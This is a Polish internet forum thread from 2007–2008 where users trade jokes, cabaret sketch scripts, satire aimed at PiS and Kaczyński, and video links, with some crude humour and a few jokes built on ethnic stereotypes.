- Mój kumpel wczoraj w 5 minut uszkodził główny serwer.
- Jest hakerem ?
- Nie, debilem...

Przychodzi byk do lekarza i ryczy ze śmiechu
- Co Panu jest? - pyta lekarz.
- Zawsze jestem taki po trawie:-)

wiesiek01 - 17-10-2007, 15:25

Jaga19 napisał/a:
Przychodzi byk do lekarza

Ach te feministki... W oryginale była krowa.. :ping:

delfin84 - 17-10-2007, 23:12

Pan Olek był chory
i leżał w łóżeczku.
I przyszedł pan doktor:
co ci jest Oleczku?
popiłem jak zwykle, czepiają się dranie,
zmyśl mi pan chorobę, wtedy drań przestanie.
znam ja Oleczku te twoje wybryki,
zmyślę ci chorobę: cierpisz na tropiki.
a jak się nawalisz, to mów że przyczyna
jest nie w tobie przecież, lecz na Filipinach!!!!
g:D

FotoMiś - 18-10-2007, 09:42

"Do księdza zgłosiła się kobieta, która chciała wyjść za mąż, ale miała już trzech mężów, a w dodatku z ostatnim się rozwiodła...
- No cóż, proszę pani, w tej sytuacji, w świetle prawa kanonicznego, sama pani rozumie, nie mogę udzielić pani ślubu...
- Ależ, proszę księdza - kobieta na to - mimo to cały czas jestem... hm... niewinna.
- Jak to?
- To długa historia. Opowiem księdzu. Mój pierwszy mąż... No cóż, wyszłam za niego na prośbę mego ojca. Antoni był uroczym człowiekiem, bardzo dobrym i poczciwym. Tylko, cóż, miał już 82 lata, już nie był w stanie uszczęśliwić mnie inaczej jak tylko swą dobrocią. Dałam biedakowi tylko pięć miesięcy szczęścia...
- Hm, tak, rozumiem. Niezbadane są wyroki Boskie...
- Drugi mąż z kolei byl młodym, zabójczo przystojnym oficerem policji. Wykształcony, wysportowany, znał języki, świetnie sie zapowiadał, awans miał w kieszeni. Ale miał pecha. Jako prezent ślubny dostał od kolegów motor. Chciał się przejechać. Mokre liście na drodze, drzewo, złamana podstawa czaszki, rozległe obrażenia wewnętrzne. Mój kochany Artur, przynajmniej nie cierpiał.
- Tak, rozumiem. Serdecznie pani współczuję. A trzeci mąż? Jak długo trwało pożycie?
- Och, dziesięć lat.
- Dziesięć lat?! I mówi pani, że przez cały ten czas...?
- Ani razu. Wie ksiądz, on był z PIS. Co wtorek wieczorem przychodził do mego łózka, siadał na brzegu i przez długie godziny opowiadał, jak będzie fantastycznie, kiedy się weźmie do rzeczy... "

PRETORIANIN - 18-10-2007, 20:17

http://www.smog.pl/wideo/...anty_pis_owska/

[ Dodano: 18-10-2007, 21:19 ]
Założenie butów 30 sek.
Spacer do lokalu wyborczego 600 sek.
Oddanie glosu 120 sek.
Ujrzenie niezadowolonej miny kaczora po wyborach BEZCENNE

martin - 18-10-2007, 21:28

Uwazam ze jest swietne



BTW wie ktos jak nazywal sie oryginal?

Przemo_C - 18-10-2007, 21:47

W oryginale zespół Univers śpiewał o Lenonie.
KasiaK - 22-10-2007, 13:45

Wigilijny poranek. Żona budzi Stefana o 7.00.
- Stefan, no Stefan, nie mam masła. Słyszysz?
- A co ja na to poradzę.
- Ubieraj się i idź do sklepu.
- Ale ja nie wiem gdzie jest w sklepie masło. ( kombinuje Stefan)
- Wejdziesz, naprzeciwko kasy są lodówki, w pierwszej jest mleko, a w drugiej masło, idź. Stefan wstał, ubrał się poszedł do sklepu. Przeszedł obok kas, podszedł do lodówki, wyjął masło i poszedł zapłacić. Na kasie stała zajeb***a laseczka. Stefan trochę z nią pogadał, pożartował, a laska niespodziewanie zaproponowała aby poszli do niej. Poszli i troszkę potentegowali. Po upojnym popołudniu Stefan budzi się i widzi że jest przed 20.00. Wyskakuje z łóżka i mówi do laski
- Masz mąkę?
- Mam.
- To przynieś szybko i posyp mi ręcę.
Laska zdziwiona przynoszi mąkę i posypuje ręce Stefana po czym on wybiega z domu.
W domu Stefanowi drzwi otwiera żona.
- Stefan gdzieś ty był, rodzina się zjechała, zjedliśmy kolację bez masła.......Gdzie byłeś?
- Skarbie, jestem ci winny wyjaśnienie. Otóż poszedłem do sklepu, z lodówki wyjąłem masło i poszedłem zapłacić. Na kasie stała zajeb***a laseczka, trochę z nią pogadałem, pożartowałem, a ona mnie zaprosiła do siebie a u niej trochę pobaraszkowaliśmy. Obudziłem się i szybko przyjechałem do domu.
Żona wysłuchała wszystkiego spokojnie i ze zniecierpliwieniem w głosie powiedziała:
- Pokaż ręce.
Stefan pokazał obsypane w mące ręce, na co żona:
-Pie****sz, Stefan, znowu byłeś na kręglach.

delfin84 - 27-10-2007, 15:50

:bee; http://pl.youtube.com/watch?v=9BV4OGqnuiQ :bee;

[ Dodano: 27-10-2007, 22:26 ]
:spoko: http://pl.youtube.com/watch?v=f75ZEAa6PrM :509:

qdlaty - 04-11-2007, 19:26

Przychodzi ginekolog do neurologa w poradni
- Jędruś mówię Ci coś niesamowitego. Mam pacjentkę w gabinecie co ma łechtaczkę jak arbuz..
Neurolog:- Co ty niemożliwe
- No choć zobacz
- Nie mam czasu mam pełno pacjentów.
- No chodź na chwilę
Idą do gabinetu ginekologa, a tam pacjentka leży na fotelu, ale na oko neurologa łechtaczka całkiem normalna:
- no przecież normalna
Ginekolog:
- No, ale spróbuj...

Adam Frajtak - 05-11-2007, 10:34

Na próbie orkiestry kościelnej na Górnym Śląsku.
- Zymalisten fertyg?
- Jawohl!
- Tromptisten fertyg?
- Ja naturlich!
- Puzonisten fertyg?
- Ja, ja naulich!
- Gut. Also eins, zwei, drei...
- Nie rzucim ziemi skąd nasz ród....

$$ - 05-11-2007, 10:39

Dlaczego wąż nie ma jaj na wierzchu ?
bo do właściciela był by podobny,
lub do przysłowiowego.

powodzenia

Grzegorz R45 - 05-11-2007, 17:22

Szef TVN do dziennikarzy:
- Kochani, przez dwa lata waliliśmy w obóz rządzący. Tak dalej być nie może. Jesteśmy telewizja niezależną i to zobowiązuje. Teraz będziemy kopać opozycje :snajp: :snajp: :snajp:

KasiaK - 05-11-2007, 23:30

ROGACIZNA, A USTRÓJ

Socjalizm

Masz dwie krowy. Musisz im, jako klasie pracującej dostarczać mleko.
Do podziału - przez radę oborową.

Komunizm

Masz dwie krowy. Mleko nie jest twoje, tylko wspólne całego narodu.
Wypada po pół kropli na głowę.

Kapitalizm

Masz dwie krowy. Możesz je doić jak chcesz, dopóki nie
Założą związków zawodowych. Wtedy one będą doić ciebie,
albo w najlepszym razie nie zezwolą na dojenie.

Eurosocjalizm
Masz dwie krowy. Możesz je doić do woli, ale jak sprzedaż
za dużo mleka, to płacisz karę. Całe szczęście, że założone za czasów
kapitalizmu związki zawodowe nie pozwalają na dojenie.
Dzięki temu nie płacisz kary.

Kaczyzm
Masz dwie krowy. Jedna wylatuje z obory, bo nie chce podpisać
oświadczenia o tym, że nie współpracowała z dojarką starego typu.
Tłumaczenie, że jest bykiem nie pomagają. Druga wylatuje, bo
widziano ją na paradzie obok innej krowy. W ich miejsce dostajesz
jedną kozę, dwa lemury, kunę i piętnaście surykatek. Musisz -
udając, że je doisz - sam wytwarzać mleko, bo od tego zależy koalicja.

Lepperyzm

Masz dwie krowy wzięte na kredyt. Nie musisz spłacać kredytu pod
warunkiem, że wysypiesz krowy innych na tory. Znajdujesz pomocników,
którzy karmią Twoje krowy w zamian za miejsce w chlewie przy
korycie.

Giertychizm
Masz dwie krowy. W mundurkach, bez telefonów komórkowych. Obok w
oborze stoi Smok Wawelski. Możesz go doić, ale nie w niedzielę.
Ciąże krów musisz zgłaszać do odpowiedniego urzędu. Sprawdzasz, czy
nikt ich nie zmusza do muczenia. Zamawiasz pięć piw.

Oleksizm
Masz dwie krowy, które są najstarszymi krowami na polskiej wsi. Nie
dają co prawda mleka, ale potrafią stać w tej samej oborze z dowolnym stadem bez większych konfliktów.

Kononowizm

Zlikwidowałeś krowy, oborę, dojarkę – wszystko zlikwidowałeś.
Ale za to masz fajny sweter!




się obsmarkałam, ze śmiechu...

Jaga19 - 06-11-2007, 00:51

KasiaK napisał/a:
Jedna wylatuje z obory, bo nie chce podpisać
oświadczenia o tym, że nie współpracowała z dojarką starego typu.

A propos współpracy, wywalmy nasze drukarki i skanery z powodu współpracy z USB

Grzyb - 06-11-2007, 15:32

"To były bardzo dobre lata" - Jarosław Kaczyński
KasiaK - 06-11-2007, 19:24

"Moja dziewczyna zawsze się śmieje podczas uprawiania seksu - wszystko jedno, co akurat czyta."
Steve Jobs


"Moja matka zdawała się nie dostrzegać ironii w nazywaniu mnie skurwysynem."
Jack Nicholson

"Clinton kłamał. Mężczyzna może zapomnieć, gdzie zaparkował samochód albo gdzie mieszka, ale nigdy nie zapomni seksu oralnego, nawet jeśli był bardzo kiepski."
Barbara Bush


"Zamiast żenić się po raz kolejny, znajdę jakąś kobietę, której nie lubię, i podaruję jej dom."
Rod Stewart

Arecki - 07-11-2007, 19:04

Przychodzi kobieta do lekarza i skarży się na ból.
- Gdzie panią boli? - pyta się lekarz.
- Wszędzie - odpowiada kobieta.
- Jak to wszędzie? Proszę być bardziej dokładnym.
Kobieta dotyka kolana palcem wskazującym:
- Tu mnie boli.
Następnie dotyka lewego policzka:
- O tu mnie boli.
Potem dotyka prawego sutka:
- O tu też mnie boli - mówi z grymasem bólu kobieta.
Lekarz popatrzył na kobietę ze współczuciem i pyta się:
- Czy pani jest naturalną blondynką?
- Tak.
- Tak myślałem - kontynuuje lekarz - ma pani złamany palec

Grzyb - 12-11-2007, 11:39


Jaga19 - 29-11-2007, 11:39

SZPITAL GDZIE BĄDŹ-KABARET HRABI
Siostra - Proszę tu. Będzie pan leżał na tym. (ustawia krzesła, zawiesza wykres temperatury)
Pacjent - Czy moja choroba nie wymaga lepszych warunków?
Siostra - Pana choroba? Rozwija się znakomicie. W takim tempie, że nie wiem czy warto pościel przynosić.
Pacjent - Nie wolno pani tak mówić.
Siostra - Wiem-wiem.
Pacjent - Powinna pani mówić, że zrobicie wszystko dla mego dobra.
Siostra - A uwierzy pan? Że zrobimy wszystko ... uwierzy pan?
Pacjent - Siostro, ja nie mogę umrzeć!
Doktor - Kto tu nie może umrzeć?
Pacjent - Ja.
Doktor - Pan? AA! Niech pan mnie nie rozśmiesza. (ogląda wykres temperatury) Siostro, na co cierpi pacjent?
Siostra - Po polsku czy po łacinie?
Doktor - Do astmy po polsku, wyżej po łacinie.
Siostra - Pneumothorax.
Doktor - Oj, nie lubię tego leczyć. Na akademii miałem z tego komis.
Pacjent - Doktorze, nie jest pan już na akademii. Tu są żywi pacjenci.
Doktor - Na razie, na razie. (patrzy i patrzy na wykres temperatury, składa i wkłada do kieszeni) Dam dziecku do kolorowania.
Pacjent - Doktorze, proszę się postarać. Odwdzięczę się.
Doktor - Nie pracuję tu dla pieniędzy. Jestem tu dla władzy! (przyjmuje władczą postawę) Oddychać! (pacjent wszystko wykonuje) Nie oddychać! Otworzyć usta! Zamknąć! Beknąć!... Uwielbiam to uczucie!
Pacjent - Doktorze, wyleczy mnie pan?
Doktor - (wzrusza ramionami)
Siostra - Co z nim zrobimy?
Doktor - Nie wiem. Na komisie miałem ściągi.
Pacjent - Jak to pan nie wie?! Co z pana za lekarz?!
Doktor - (ściąga stetoskop i rzuca pacjentowi, wyjmuje pigułki z kieszeni, zastrzyki) Proszę! Proszę! Zobaczymy co PAN z tym zrobi?! (odchodzi urażony)
Siostra - Doktorze, czy my codziennie musimy przez to przechodzić?! To tylko odma. Da pan radę.
Doktor - Odma? Pneumothorax - odma... No tak.
Pacjent - A więc nie umrę?
Doktor - To się zobaczy.
Pacjent - Na to się nie umiera!
Doktor - Czasem tak.
Pacjent - Nie mogę na to umrzeć!
Doktor - Co się pan kłóci z fachowcem? Proszę to zażyć i już nie gadać.
Pacjent - (zażywa i umiera)
Siostra - (patrzy zdziwiona na pacjenta i doktora)
Doktor - Na to faktycznie rzadko się umiera, ale wjechał mi na ambicję.

KONIEC
Autor - Władysław Sikora

kraknur - 29-11-2007, 13:46

>
> Chcemy waszego dobra - powiedział premier Kaczyński do Polaków.
> Zaniepokojeni Polacy zaczęli więc ukrywać swoje dobra w bezpiecznych
> miejscach.


> Jasiu choć napijesz się ze mną wódeczki.
> Ależ tato!
> No co, ja ci pomogłem odrobić lekcje.


> Żyje nam się lepiej - oznajmił w expose sejmowym premier.
> To fajnie wam - pomyślał naród.
>
> Nobel pokazał przyjacielowi swój wynalazek:
> No jak dla mnie bomba! - rzekł przyjaciel.
>

>
> Zabawne jak mało ważna jest twoja praca, gdy prosisz o podwyżkę,
> a jak niesamowicie niezbędna dla ludzkości gdy prosisz o urlop.

Jaga19 - 29-11-2007, 14:49

SŁABA PŁEĆ – Kabaret Hrabi
Wyobraźmy sobie, że coś w historii poszło nie tak. Świat mógłby wyglądać zupełnie inaczej. Czarna wizja z męskiego punktu widzenia.
(tatuś w fartuszku, wycierając talerze, porusza się po domu po ścianach, potwornie przerażony)
Tato - Jasio! Odrobiłeś lekcje?
Jasio - Tak.
Tato - Na pewno? Bo jak mama sprawdzi...! Odrób jeszcze trochę.
Jasio - Tato, coś jest nie tak...
Tato - Co?
Jasio - Pokaż oko (zdejmuje mu okulary, oko jest podbite) I co to jest?
Tato - To przypadek. Mama niechcący machnęła ręką.
Jasio - I w jeden punkt trafiła???
Tato - Nie zagaduj mnie bo ziemniaki jeszcze nie nastawione. Mama wróci i znowu niechcący zacznie machać ręką.
Jasio - Tato, ty jesteś przerażony.
Tato - Nie przerażony tylko przejęty. (nasłuchuje) Cicho! Windzia jedzie!!!
Jasio - Wandzia!
Tato - Windą. Jasio do lekcji, szybko. A ja pójdę mamie otworzyć drzwi. (schodzi) Dzień dobry kochanie (cios, wylatuje zza kulis)
Mama - (zza kulis wychodzi lekko zawiana mama)
Co ty kurna, oczadziałeś? Co to w ogóle było???
Tato - Chciałem cię pocałować.
Mama - Co!?
Tato - Wczoraj sama mówiłaś, że mogę cię pocałować.
Mama - Powiedziałam, ze możesz mnie pocałować... Co na obiad?
Tato - Wiesz, nie było cytrusów u nas, i pojechałem szukać do miasta, ale tam nie znalazłem...
Mama - Co na obiad?
Tato - Obszukałem pół osiedla...
Mama - Nie denerwuj mnie mężczyzno! Co na obiad?!!!!!!
Tato - Schabowy! (zakrywa rękami głowę i szlocha)
Mama - Co?! Chcesz mnie karmić świnią?
Tato - Ale to bardzo zdrowe.
Mama - A czy ja chora jestem? Ja wracam do domu i chcę porządnie zjeść, a nie zdrowo!!! Yh! (prawie by uderzyła, ale sobie przypomniała)
Byłabym zapomniała... (wyjmuje z torebki zmiętego kwiatka) To na dzień mężczyzny. Poznaj moją dobroć, zjem na mieście.
Tato - Gdzie idziesz? Znowu z koleżankami na likierek?
Mama - Zamknij się! Dzień mężczyzny ma swoje granice!
Tato - A ja? Może ja też chciałbym wyjść? Na miasto... do ludzi...
Mama - Miejsce mężczyzny jest przy garach! Wbij to sobie do głowy - Zdzirze!

KONIEC
Autor - Dariusz Kamys

VooDoo_73 - 29-11-2007, 15:04

Jaga19 napisał/a:
Zdzirze!


:) rozwalają mnie :)

M.

FotoMiś - 30-11-2007, 22:54

wiem, wiem - to nieładnie kopać leżącego... ;)

---

Do zolnierza pilnujacego wejscia do kancelarii premiera podchodzi staruszek i prosi:
- Panie oficerze, ja tak bardzo chcialbym sie widziec z premierem Kaczynskim...
- Prosze pana - tlumaczy wojak. - Jaroslaw Kaczynski nie jest juz premierem.
- No tak. dziekuje - mówi staruszek i odchodzi. nastepnego dnia sytuacja sie powtarza
- Panie oficerze, ja tak bardzo chcialbym sie widziec z premierem Kaczynskim...
- Prosze pana. pytal pan juz wczoraj. a ja panu odpowiedzialem ze pan Kaczynski nie jest juz premierem...
Staruszek znów dziekuje i odchodzi. i tak przez kilka dni. W koncu po kolejnym pytaniu zolnierz nie wytrzymuje:
- Przychodzi pan tu od tygodnia i za kazdym razem tlumacze panu ze pan Jaroslaw Kaczynski nie jest juz premierem.
- Wiem panie oficerze - usmiecha sie staruszek - ale ja tego poprostu uwielbiam tego sluchac...

---

Jaga19 - 30-11-2007, 23:02

FotoMiś napisał/a:
wiem, wiem - to nieładnie kopać leżącego... ;)

To tylko wyszukane pieszczoty:-)

mysiar - 02-12-2007, 15:19

Indian Bloke
An Indian bloke goes into a shop and asks for toilet paper. The guy behind the counter tells him he has Andex for 1$, Kleenex 50 cents or the no-name brand for just 10 cents. 'Oh please, I am taking no-name brand'. A week later same Indian comes back into the shop, once again asking for toilet paper. The guy gives him the same spiel on prices. This time the Indian says 'I will take Andex at 50 cents please. As he is walking out of the shop he turns around and says, 'By the way, in my family we call your no-name brand John Wayne'. The shopkeeper asks why do they call it that. The Indian says, 'Well, it's rough, tough and takes no shit off Indians!'

Experimental Treatment
Jack goes to the doctor and says "Doc, I'm having trouble getting my penis erect, can you help me?" After a complete examination the doctor tells Jack, "Well, the problem with you is that the muscles around the base of your penis are damaged. There's really nothing I can do for you, except if you're willing to try an experimental treatment." Jack asks sadly, "What is the treatment?" "Well," the doctor explains, "what we would do is take the muscles from the trunk of a baby elephant and implant them in your penis." Jack thinks about this silently then says, "well, the thought of going through life without ever having sex again is too much, let's go for it." A few weeks after the operation Jack was given the green light to use his improved equipment. He planned a romantic evening for his girlfriend and took her to one to the nicest restaurants in the city. In the middle of dinner, he felt a stirring between his legs which continued to the point of being painful. To release the pressure Jack unzipped his fly. His penis immediately sprung from his pants, went to the top of the table, grabbed a roll and then returned to his pants. His girlfriend was stunned at first but then said with a sly smile, "That was incredible! Can you do it again?" Jack replied with his eyes watering, "Well, I guess so, but I don't think I can fit another roll up my arse."

Cardiff Market
2 women in Cardiff market, they see Toilet Brushes for sale at just 20 pence each. Oooooh look Blodwyn, theres a bargin for you! They end up buying 2 each. The following week they meet again at the market. 'How you getting on with them bog brushes Megan' 'Well I am percivering but our Dai has gone back to toilet paper'!

gladius - 03-12-2007, 17:00

Długopis nie porządził.
Nul - 03-12-2007, 17:10

O rany. Teraz ja niemal oplułam klawiaturę. Zawsze lubiłam zabawy językiem :)
FotoMiś - 03-12-2007, 17:40

Nul napisał/a:
Zawsze lubiłam zabawy językiem


Hmm... Trzeba przyznać, że społeczeństwo mamy coraz bardziej otwarte... :)

Nul - 03-12-2007, 17:41

Taaa... :) I jeszcez mi się zmarszczki od śmiechu porobią, FotoMisiu :)
Jaga19 - 16-12-2007, 08:26

Preludium
Sorki, miał być wklejony obrazek, nie wyszło.

[ Dodano: 16-12-2007, 09:50 ]
Preludium

[ Dodano: 09-01-2008, 10:09 ]
Zasłyszane przed świętami w pizzerii:
Dziewczyna zapytana, czy podzielić jej pizzę na 4, czy 8 części, odpowiedziała:
-na 4, bo więcej nie dam rady zjeść.

Pozdrawiam:-)

marcinlisek - 09-01-2008, 22:26

http://archi.inos.int.pl/db/item286148416_1.html

pozdrawiam marcin

Jaga19 - 11-01-2008, 09:01

Wszystkich miłośników ,,Naszej klasy" zapraszam do ,,Naszej celi"
JanW - 11-01-2008, 18:22

Jaka jest różnica między żoną a terrorystą ?

No taka, że z terrorystą da się negocjować ! :) :) :)

jcsjacekj - 11-01-2008, 22:54

Jaga19 napisał/a:
Preludium


Dobre, najciekawszy jest ostatni takt :)

martin - 12-01-2008, 00:41

Chcesz wiedziec jak szybko potrafi spasc wizura? kliken
Mania - 12-01-2008, 09:28

Dobrze, ze dziecko nie bylo w piance
:D

Dany - 12-01-2008, 15:10

Ja pierdziulek ale zajebiaszczy bąk
Mania napisał/a:
Dobrze, ze dziecko nie bylo w piance
dobrze że nie był w suchym
gladius - 15-01-2008, 20:30

Ciekawa alternatywa dla popularnych organizacji nurkowych.
http://www.butterflybabe.co.uk/scuba/index.html

jcsjacekj - 15-01-2008, 22:33

Cytat:
ekawa alternatywa dla popularnych organizacji nurkowych.
http://www.butterflybabe.co.uk/scuba/index.html


No no... fajne nawet niektorzy przekraczaja wszystkie limity :D -> http://www.butterflybabe.co.uk/scuba/pix/7.jpg

Mania - 15-01-2008, 22:46

Panowie
Darujcie sobie, bo to niesmaczne

Cezary Kędzia - 15-01-2008, 22:49

No co ? Kolega mial pewnie na myśli przekroczenie limitu hyperwentylacji.
Dany - 15-01-2008, 23:26

A ja dla zmiany tematu "niesmacznego" Polecam wszystkim pracownikom banków i nietylko http://www.youtube.com/watch?v=mJ3HR7oH6V8 ale obejrzyjcie do końca ....
The_PiotREX - 16-01-2008, 00:09

http://www.wrzuta.pl/audio/lM4lYSDVYs/ sesja na polibudzie jak się patrzy :/
Jaga19 - 16-01-2008, 11:03

The_PiotREX napisał/a:
sesja na polibudzie jak się patrzy :/

Mimo, że mam to wszystko za sobą, przeszedł mnie dreszczyk emocji:-)

Zamiast modlitw przed egzaminami pamiętam nieustające pielgrzymki do kuchni: a to jedzenie, a to picie, a to wymyślanie jakichś drobnych remoncików, byle tylko odwlec czas nauki.

Z sesji na polibudzie podoba mi się całka ograniczona kołem od góry:-)

Przemo_C - 16-01-2008, 11:07

Jaga19 napisał/a:
................ wymyślanie jakichś drobnych remoncików, byle tylko odwlec czas nauki.............


Nazywaliśmy to syndromem nieprzykręconego gniazdka, mogło wisieć na ścianie cały rok, a w czasie sesji zawsze zostało przykręcone." :tak:

jcsjacekj - 16-01-2008, 17:26

Mania napisał/a:
Panowie
Darujcie sobie, bo to niesmaczne


Ale na tej stronie byly tez nagie meski ciala ...
pelna demokracja.

[ Dodano: 16-01-2008, 17:27 ]
Dany napisał/a:
A ja dla zmiany tematu "niesmacznego" Polecam wszystkim pracownikom banków i nietylko http://www.youtube.com/watch?v=mJ3HR7oH6V8 ale obejrzyjcie do końca ....


Eeeee ... "This video is no longer available due to a copyright claim by Bank BPH SA"
Zapisales gdzies lokalnie ?

Mania - 16-01-2008, 17:35

Tu jeszcze wisi
http://www.joemonster.org...e-oblicze-banku

Mania

silver111 - 20-01-2008, 23:50

Kobieta z kochankiem leży w łóżku. Nagle zgrzyt klucza w zamku, do domu wchodzi mąż.
Ona: Szybko do szafy.
Kochanek: Ale ja nic na sobie nie mam. Zmarznę.
Ona: Dobra załóż moje futro i wchodź
Mąż wchodzi do sypialni, rozbiera się i kładzie spać. Mijają dwie, trzy, cztery godziny, kochanek postanawia po cichu wyjść z szafy i wydostać się z mieszkania. Nagle mąż budzi się i widzi gościa w futrze wychodzącego z szafy.
-A kto pan jest!?
-Yyy... ja jestem mol.
-A futro?
-Yyy...zjem w domu.

↓↓↓↓↓↓↓↓ NEXT ↓↓↓↓↓↓↓↓ NEXT ↓↓↓↓↓↓↓↓ NEXT ↓↓↓↓↓↓↓↓


bo zone trzeba trzymac krotko!
najwyzej 2, 3 lata...

↓↓↓↓↓↓↓↓ NEXT ↓↓↓↓↓↓↓↓ NEXT ↓↓↓↓↓↓↓↓ NEXT ↓↓↓↓↓↓↓↓


Pilne pytanie. Proszę o pomoc. Potrzebuję wyczerpującej odpowiedzi. Z góry dziękuję.

Jakiś czas temu zacząłem podejrzewać swoją żonę o zdradę. Skąd się dowiedziałem. No bo zachowywała się typowo dla takich sytuacji. Gdy odbierałem telefon w domu, po drugiej stronie odkładano słuchawkę. Miała często spotkania z koleżankami, niespodziewane wyjścia na kawę czy po książkę. Na pytanie "z kim z naszych wspólnych znajomych się spotyka", odpowiadała, że są to nowe przyjaciółki i ja ich nie znam. Zazwyczaj czekam na taksówkę, którą ona wraca do domu, jednak żona wysiada kilkaset metrów wcześniej i resztę drogi idzie na nogach, tak że nigdy nie widzę jakim samochodem przyjeżdża i z kim.

Kiedyś wziąłem jej komórkę, tylko aby zobaczyć która godzina. Wtedy ona po prostu dostała szału i zakazała dotykać jej telefonu. Przez cały ten czas nie mogłem się zdecydować, by porozmawiać z nią o tym wszystkim. Pewnie nie dowiedziałbym się prawdy, gdyby nie przypadek. Pewnej nocy żona niespodziewanie gdzieś wyszła. Ja się zainteresowałem, że coś nie tak.

Wyszedłem na zewnątrz. Postanowiłem schować się za naszym samochodem, skąd był doskonały widok na całą ulice, co pozwoliłoby mi zobaczyć, do jakiego samochodu wsiądzie. Kucnąłem przy swoim wozie i nagle z niepokojem zauważyłem, że tarcze hamulcowe przy przednich kołach mają jakieś brunatne plamy, podobne do rdzy.

Proszę mi odpowiedzieć, czy ja mogę jeździć z takimi tarczami hamulcowymi, czy trzeba je stoczyć? Jeżeli natomiast trzeba ja wymienić, to czy można zamontować tańszy zamiennik, a nie oryginalne, a jeżeli tak, to które najlepiej?

Jaga19 - 21-01-2008, 08:14

Piękna opowiastka:-)

Morał z niej wynikający jest dowodem na to, że facet mający priorytety ( i na dodatek w krawacie ) jest mniej awanturujący się:-)

Tomek Radomski - 21-01-2008, 14:48

Młody porucznik Rżewski dopiero co wstąpił do pułku. Pułkownik bierze go z sobą na bal do pałacu carskiego i mówi:
- Ja was przedstawię imperatorce. Zaprosicie ją do tańca i powiedzcie kilka komplementów.
I tak oto porucznik tańczy z Katarzyną i mówi:
- Jestem zachwycony Waszą Wysokością o Pani! Wasza Łaskawość poci się dużo mniej, niż inne grube kobiety w Waszym wieku.

Dany - 21-01-2008, 22:47

silver111 napisał/a:
Proszę mi odpowiedzieć, czy ja mogę jeździć z takimi tarczami hamulcowymi, czy trzeba je stoczyć?

Zostaw te tarcze w spokoju...

Mania - 23-01-2008, 14:50

CBA

Pewien funkcjonariusz CBA spóźnił się godzinę na poranną odprawę.
>
Wylądował więc U dowódcy na dywaniku.
>
> Szef, zły jak diabli, krzyczy:
> - Co ty sobie myślisz ?
>
> Czy zdajesz sobie sprawę, że gdybyśmy dostali rozkaz wkroczenia do akcji
> to
> twoja nieobecność rozwaliłaby całą naszą taktykę I naraziłbyś życie
> kolegów
> ?
>
> Jakie masz wytłumaczenie?
> - Szefie - odpowiada funkcjonariusz - rano wstałem jak zwykle I zacząłem się
> ubierać.
>
> Założyłem czarne spodnie moro, do lewego uda przymocowałem Glocka, do
> prawego Berette, za pasek z tylu wsadziłem P83,
>
> przyczepiłem gaz obezwładniający I kajdanki.
>
> Potem zawiązałem buty Combat mocując do łydki nóż szturmowy.
>
> Następnie czarna podkoszulka I kurtka .
>
> Na to kamizelka kuloodporna z przyczepionymi do niej trzema granatami
> hukowymi I przewieszonym pasem z zapasowymi magazynkami.
>
> Na lewe ramię założyłem MP5, na prawe PM Glauberyt ze znacznikiem
> laserowym, na plecy strzelba Remington 870 shotguns do przestrzeliwania
> zamków.
>
> Wciągnąłem kominiarkę, gogle I założyłem czarny hełm kevlarowy I poszedłem
> do drzwi.
>
> Ale jak w przedpokoju spojrzałem w lustro to tak się siebie samego
> przestraszyłem,
>
> że się zesrałem.
>

Rozis__ - 23-01-2008, 16:54

<żwirek> stary.. słuchaj, jaka jazda....
<adrzej> dawaj!
<żwirek> byłem wczoraj na imprezie u Krzyśka
<andrzej> no
<żwirek> i on miał jakieś zioło... czy coś takiego
<wirek> najaraliśmy sie jak świnie...
<andrzej> hehe
<żwirek> a później sie strasznie gorąco zrobiło...
<żwirek> nie wiem, ogrzewanie podkręcili czy coś takiego,
<żwirek> mówie do Krzyśka, żeby okno otworzył albo ogrzewanie przykręcił
<żwirek> a ten do mnie: "Ssss******aajjjjj"
<andrzej> hehe
<żwirek> mówie, zróbcie coś bo się podusimy!!
<żwirek> no to jeden zrobił... zdjął buta z nogi.. i dawaj, w okno
<andrzej> ale jaja
<żwirek> wiesz jaka ulga...?? norlnie każdy tylko:"Ooo.. nareszcie świeże powietrze..."
<andrzej> ale szyba poszła...
<żwirek> ale najważniejsze było, że mieliśmy czym oddychać... ulga, jakbym pierwszy raz od stu lat oddychał świeżym powietrzem!!
<andrzej> no fakt
<żwirek> ale nie o to chodzi...
<żwirek> budzimy się rano... a tu szyba w meblościance rozbita, but w środku...!!!
<andrzej> ...



Taki mały bezsens ; D

Dany - 24-01-2008, 14:48

Rudy kocur z trudem przebijający się przez zaspy, z
wysiłkiem odrywając swoją zmrożoną męskość od lodu krzyczy na całe
gardło:
- No i ku..a gdzie?! Pytam was - gdzie jest ta pierd...a wiosna do
ku..y nędzy? Co za poje....y kraj?! Gdzie dziewczyny, przebiśniegi,
świergolenie skowronków?! Choćby ćwierkanie wróbli, choćby krakanie
wron - gdzie to ku..a wszystko jest?! A odwilż kiedy wreszcie
przyjdzie? Śnieg z nieba napier..la jakby ich tam w górze poje...ło...
Niby ponoć wiosna już jest, ku..a - łgarstwo i oszustwo na każdym
kroku, ku..a ...
A ludzie słysząc kocie krzyki uśmiechają się do siebie i
mówią łagodnie:
- Słyszysz jak się drze? Wiosna idzie... Kotów nie oszukasz... :humor:

[ Dodano: 24-01-2008, 16:00 ]
Pewna para w średnim wieku z północnej części USA zatęskniła w środku
mroźnej zimy do ciepła i zdecydowała się pojechać na dół, na Florydę,
i zamieszkać w hotelu, w którym spędziła noc poślubną 20 lat
wcześniej. Mąż miał dłuższy urlop, pojechał więc o dzień wcześniej. Po
zameldowaniu się w recepcji odkrył, że w pokoju jest komputer i
postanowił wysłać maila do żony. Niestety omylił się o jedną literę.
Mail znalazł się w ten sposób w Houston u wdowy po pastorze, która
wróciła właśnie do domu z pogrzebu męża i chciała sprawdzić, czy na
poczcie elektronicznej są jakieś kondolencje od rodziny i przyjaciół.
Jej syn znalazł ją zemdloną przed komputerem i przeczytał na ekranie:
Do: Moja ukochana żona
Temat: Jestem już na miejscu.
Wiem, że jesteś zdziwiona otrzymaniem wiadomości ode mnie. Teraz mają tu
komputery i wolno wysłać maile do najbliższych. Właśnie zameldowałem się.
Wszystko jest przygotowane na twoje przybycie jutro. Cieszę się na
spotkanie. Mam nadzieję, że twoja podróż będzie równie bezproblemowa, jak
moja. PS: Tu na dole jest naprawdę gorąco"

silver111 - 08-02-2008, 08:53

Lotnisko w Londynie, kontrola paszportowa
- Name?
- Abdul Jabara Dahar
- Sex?
- 4 times a week
- No, no. Male? Female?
- Male, female, sometimes camel...

jcsjacekj - 12-02-2008, 02:45

silver111 napisał/a:
- Male, female, sometimes camel...


Rozumiem, ze po seksie pali zawsze "Camele" ?

Right ?

